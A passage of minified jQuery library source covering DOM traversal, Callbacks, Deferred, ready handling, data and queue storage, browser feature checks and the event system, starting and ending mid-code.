D=/^(?:parents|prev(?:Until|All))/,E={children:!0,contents:!0,next:!0,prev:!0};n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=w.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.uniqueSort(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function F(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return u(a,"parentNode")},parentsUntil:function(a,b,c){return u(a,"parentNode",c)},next:function(a){return F(a,"nextSibling")},prev:function(a){return F(a,"previousSibling")},nextAll:function(a){return u(a,"nextSibling")},prevAll:function(a){return u(a,"previousSibling")},nextUntil:function(a,b,c){return u(a,"nextSibling",c)},prevUntil:function(a,b,c){return u(a,"previousSibling",c)},siblings:function(a){return v((a.parentNode||{}).firstChild,a)},children:function(a){return v(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(E[a]||(e=n.uniqueSort(e)),D.test(a)&&(e=e.reverse())),this.pushStack(e)}});var G=/\S+/g;function H(a){var b={};return n.each(a.match(G)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?H(a):n.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){n.each(b,function(b,c){n.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==n.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return n.each(arguments,function(a,b){var c;while((c=n.inArray(b,f,c))>-1)f.splice(c,1),h>=c&&h--}),this},has:function(a){return a?n.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=!0,c||j.disable(),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().progress(c.notify).done(c.resolve).fail(c.reject):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=e.call(arguments),d=c.length,f=1!==d||a&&n.isFunction(a.promise)?d:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length>1?e.call(arguments):d,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(d>1)for(i=new Array(d),j=new Array(d),k=new Array(d);d>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().progress(h(b,j,i)).done(h(b,k,c)).fail(g.reject):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(d,[n]),n.fn.triggerHandler&&(n(d).triggerHandler("ready"),n(d).off("ready"))))}});function J(){d.addEventListener?(d.removeEventListener("DOMContentLoaded",K),a.removeEventListener("load",K)):(d.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(d.addEventListener||"load"===a.event.type||"complete"===d.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll)a.setTimeout(n.ready);else if(d.addEventListener)d.addEventListener("DOMContentLoaded",K),a.addEventListener("load",K);else{d.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&d.documentElement}catch(e){}c&&c.doScroll&&!function f(){if(!n.isReady){try{c.doScroll("left")}catch(b){return a.setTimeout(f,50)}J(),n.ready()}}()}return I.promise(b)},n.ready.promise();var L;for(L in n(l))break;l.ownFirst="0"===L,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c,e;c=d.getElementsByTagName("body")[0],c&&c.style&&(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",l.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(e))}),function(){var a=d.createElement("div");l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}a=null}();var M=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b},N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0;
  3. }return c}function Q(a){var b;for(b in a)if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;return!0}function R(a,b,d,e){if(M(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),"object"!=typeof b&&"function"!=typeof b||(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(M(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=void 0)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?n.queue(this[0],a):void 0===b?this:this.each(function(){var c=n.queue(this,a,b);n._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&n.dequeue(this,a)})},dequeue:function(a){return this.each(function(){n.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=n.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=n._data(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}}),function(){var a;l.shrinkWrapBlocks=function(){if(null!=a)return a;a=!1;var b,c,e;return c=d.getElementsByTagName("body")[0],c&&c.style?(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",b.appendChild(d.createElement("div")).style.width="5px",a=3!==b.offsetWidth),c.removeChild(e),a):void 0}}();var T=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,U=new RegExp("^(?:([+-])=|)("+T+")([a-z%]*)$","i"),V=["Top","Right","Bottom","Left"],W=function(a,b){return a=b||a,"none"===n.css(a,"display")||!n.contains(a.ownerDocument,a)};function X(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return n.css(a,b,"")},i=h(),j=c&&c[3]||(n.cssNumber[b]?"":"px"),k=(n.cssNumber[b]||"px"!==j&&+i)&&U.exec(n.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,n.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var Y=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)Y(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},Z=/^(?:checkbox|radio)$/i,$=/<([\w:-]+)/,_=/^$|\/(?:java|ecma)script/i,aa=/^\s+/,ba="abbr|article|aside|audio|bdi|canvas|data|datalist|details|dialog|figcaption|figure|footer|header|hgroup|main|mark|meter|nav|output|picture|progress|section|summary|template|time|video";function ca(a){var b=ba.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}!function(){var a=d.createElement("div"),b=d.createDocumentFragment(),c=d.createElement("input");a.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",l.leadingWhitespace=3===a.firstChild.nodeType,l.tbody=!a.getElementsByTagName("tbody").length,l.htmlSerialize=!!a.getElementsByTagName("link").length,l.html5Clone="<:nav></:nav>"!==d.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,b.appendChild(c),l.appendChecked=c.checked,a.innerHTML="<textarea>x</textarea>",l.noCloneChecked=!!a.cloneNode(!0).lastChild.defaultValue,b.appendChild(a),c=d.createElement("input"),c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),a.appendChild(c),l.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!!a.addEventListener,a[n.expando]=1,l.attributes=!a.getAttribute(n.expando)}();var da={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:l.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]};da.optgroup=da.option,da.tbody=da.tfoot=da.colgroup=da.caption=da.thead,da.th=da.td;function ea(a,b){var c,d,e=0,f="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,ea(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function fa(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}var ga=/<|&#?\w+;/,ha=/<tbody/i;function ia(a){Z.test(a.type)&&(a.defaultChecked=a.checked)}function ja(a,b,c,d,e){for(var f,g,h,i,j,k,m,o=a.length,p=ca(b),q=[],r=0;o>r;r++)if(g=a[r],g||0===g)if("object"===n.type(g))n.merge(q,g.nodeType?[g]:g);else if(ga.test(g)){i=i||p.appendChild(b.createElement("div")),j=($.exec(g)||["",""])[1].toLowerCase(),m=da[j]||da._default,i.innerHTML=m[1]+n.htmlPrefilter(g)+m[2],f=m[0];while(f--)i=i.lastChild;if(!l.leadingWhitespace&&aa.test(g)&&q.push(b.createTextNode(aa.exec(g)[0])),!l.tbody){g="table"!==j||ha.test(g)?"<table>"!==m[1]||ha.test(g)?0:i:i.firstChild,f=g&&g.childNodes.length;while(f--)n.nodeName(k=g.childNodes[f],"tbody")&&!k.childNodes.length&&g.removeChild(k)}n.merge(q,i.childNodes),i.textContent="";while(i.firstChild)i.removeChild(i.firstChild);i=p.lastChild}else q.push(b.createTextNode(g));i&&p.removeChild(i),l.appendChecked||n.grep(ea(q,"input"),ia),r=0;while(g=q[r++])if(d&&n.inArray(g,d)>-1)e&&e.push(g);else if(h=n.contains(g.ownerDocument,g),i=ea(p.appendChild(g),"script"),h&&fa(i),c){f=0;while(g=i[f++])_.test(g.type||"")&&c.push(g)}return i=null,p}!function(){var b,c,e=d.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(l[b]=c in a)||(e.setAttribute(c,"t"),l[b]=e.attributes[c].expando===!1);e=null}();var ka=/^(?:input|select|textarea)$/i,la=/^key/,ma=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,na=/^(?:focusinfocus|focusoutblur)$/,oa=/^([^.]*)(?:\.(.+)|)/;function pa(){return!0}function qa(){return!1}function ra(){try{return d.activeElement}catch(a){}}function sa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)sa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=qa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return n().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=n.guid++)),a.each(function(){n.event.add(this,b,e,d,c)})}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return"undefined"==typeof n||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(G)||[""],h=b.length;while(h--)f=oa.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(G)||[""],j=b.length;while(j--)if(h=oa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,e,f){var g,h,i,j,l,m,o,p=[e||d],q=k.call(b,"type")?b.type:b,r=k.call(b,"namespace")?b.namespace.split("."):[];if(i=m=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!na.test(q+n.event.triggered)&&(q.indexOf(".")>-1&&(r=q.split("."),q=r.shift(),r.sort()),h=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=r.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:n.makeArray(c,[b]),l=n.event.special[q]||{},f||!l.trigger||l.trigger.apply(e,c)!==!1)){if(!f&&!l.noBubble&&!n.isWindow(e)){for(j=l.delegateType||q,na.test(j+q)||(i=i.parentNode);i;i=i.parentNode)p.push(i),m=i;m===(e.ownerDocument||d)&&p.push(m.defaultView||m.parentWindow||a)}o=0;while((i=p[o++])&&!b.isPropagationStopped())b.type=o>1?j:l.bindType||q,g=(n._data(i,"events")||{})[b.type]&&n._data(i,"handle"),g&&g.apply(i,c),g=h&&i[h],g&&g.apply&&M(i)&&(b.result=g.apply(i,c),b.result===!1&&b.preventDefault());if(b.type=q,!f&&!b.isDefaultPrevented()&&(!l._default||l._default.apply(p.pop(),c)===!1)&&M(e)&&h&&e[q]&&!n.isWindow(e)){m=e[h],m&&(e[h]=null),n.event.triggered=q;try{e[q]()}catch(s){}n.event.triggered=void 0,m&&(e[h]=m)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,d,f,g,h=[],i=e.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())a.rnamespace&&!a.rnamespace.test(g.namespace)||(a.handleObj=g,a.data=g.data,d=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==d&&(a.result=d)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>-1:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},fix:function(a){if(a[n.expando])return a;var b,c,e,f=a.type,g=a,h=this.fixHooks[f];h||(this.fixHooks[f]=h=ma.test(f)?this.mouseHooks:la.test(f)?this.keyHooks:{}),e=h.props?this.props.concat(h.props):this.props,a=new n.Event(g),b=e.length;while(b--)c=e[b],a[c]=g[c];return a.target||(a.target=g.srcElement||d),3===a.target.nodeType&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,h.filter?h.filter(a,g):a},props:"altKey bubbles cancelable ctrlKey currentTarget detail eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,b){var c,e,f,g=b.button,h=b.fromElement;return null==a.pageX&&null!=b.clientX&&(e=a.target.ownerDocument||d,f=e.documentElement,c=e.body,a.pageX=b.clientX+(f&&f.scrollLeft||c&&c.scrollLeft||0)-(f&&f.clientLeft||c&&c.clientLeft||0),a.pageY=b.clientY+(f&&f.scrollTop||c&&c.scrollTop||0)-(f&&f.clientTop||c&&c.clientTop||0)),!a.relatedTarget&&h&&(a.relatedTarget=h===a.target?b.toElement:h),a.which||void 0===g||(a.which=1&g?1:2&g?3:4&g?2:0),a}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==ra()&&this.focus)try{return this.focus(),!1}catch(a){}},delegateType:"focusin"},blur:{trigger:function(){return this===ra()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return n.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(a){return n.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c){var d=n.extend(new n.Event,c,{type:a,isSimulated:!0});n.event.trigger(d,null,b),d.isDefaultPrevented()&&c.preventDefault()}},n.removeEvent=d.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)}:function(a,b,c){var d="on"+b;a.detachEvent&&("undefined"==typeof a[d]&&(a[d]=null),a.detachEvent(d,c))},n.Event=function(a,b){return this instanceof n.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?pa:qa):this.type=a,b&&n.extend(this,b),this.timeStamp=a&&a.timeStamp||n.now(),void(this[n.expando]=!0)):new n.Event(a,b)},n.Event.prototype={constructor:n.Event,isDefaultPrevented:qa,isPropagationStopped:qa,isImmediatePropagationStopped:qa,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=pa,a&&(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=pa,a&&!this.isSimulated&&(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=pa,a&&a.stopImmediatePropagation&&a.stopImmediatePropagation(),this.stopPropagation()}},n.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){n.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||n.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),l.submit||(n.event.special.submit={setup:function(){return n.nodeName(this,"form")?!1:void n.event.add(this,"click._submit keypress._submit",function(a){var b=a.target,c=n.nodeName(b,"input")||n.nodeName(b,"button")?n.prop(b,"form"):void 0;c&&!n._data(c,"submit")&&(n.event.add(c,"submit._submit",function(a){a._submitBubble=!0}),n._data(c,"submit",!0))})},postDispatch:function(a){a._submitBubble&&(delete a._submitBubble,this.parentNode&&!a.isTrigger&&n.event.simulate("submit",this.parentNode,a))},teardown:function(){return n.nodeName(this,"form")?!1:void n.event.remove(this,"._submit")}}),l.change||(n.event.special.change={setup:function(){return ka.test(this.nodeName)?("checkbox"!==this.type&&"radio"!==this.type||(n.event.add(this,"propertychange._change",function(a){"checked"===a.originalEvent.propertyName&&(this._justChanged=!0)}),n.event.add(this,"click._change",function(a){this._justChanged&&!a.isTrigger&&(this._justChanged=!1),n.event.simulate("change",this,a)})),!1):void n.event.add(this,"beforeactivate._change",function(a){var b=a.target;ka.test(b.nodeName)&&!n._data(b,"change")&&(n.event.add(b,"change._change",function(a){!this.parentNode||a.isSimulated||a.isTrigger||n.event.simulate("change",this.parentNode,a)}),n._data(b,"change",!0))})},handle:function(a){var b=a.target;return this!==b||a.isSimulated||a.isTrigger||"radio"!==b.type&&"checkbox"!==b.type?a.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return n.event.remove(this,"._change"),!ka.test(this.nodeName)}}),l.focusin||n.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){n.event.simulate(b,a.target,n.event.fix(a))};n.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=n._data(d,b);e||d.addEventListener(a,c,!0),n._data(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=n._data(d,b)-1;e?n._data(d,b,e):(d.removeEventListener(a,c,!0),n._removeData(d,b))}}}),n.fn.extend({on:function(a,b,c,d){return sa(this,a,b,c,d)},one:function(a,b,c,d){return sa(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,n(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=qa),this.each(function(){n.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){n.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?n.event.trigger(a,b,c,!0):void 0}});var ta=/ jQuery\d+="(?:null|\d+)"/g,ua=new RegExp("<(?:"+ba+")[\\s/>]","i"),va=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,wa=/<script|<style|<link/i,xa=/checked\s*(?:[^=]|=\s*.checked.)/i,ya=/^true\/(.*)/,za=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Aa=ca(d),Ba=Aa.appendChild(d.createElement("div"));function Ca(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function Da(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function Ea(a){var b=ya.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Ga(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in 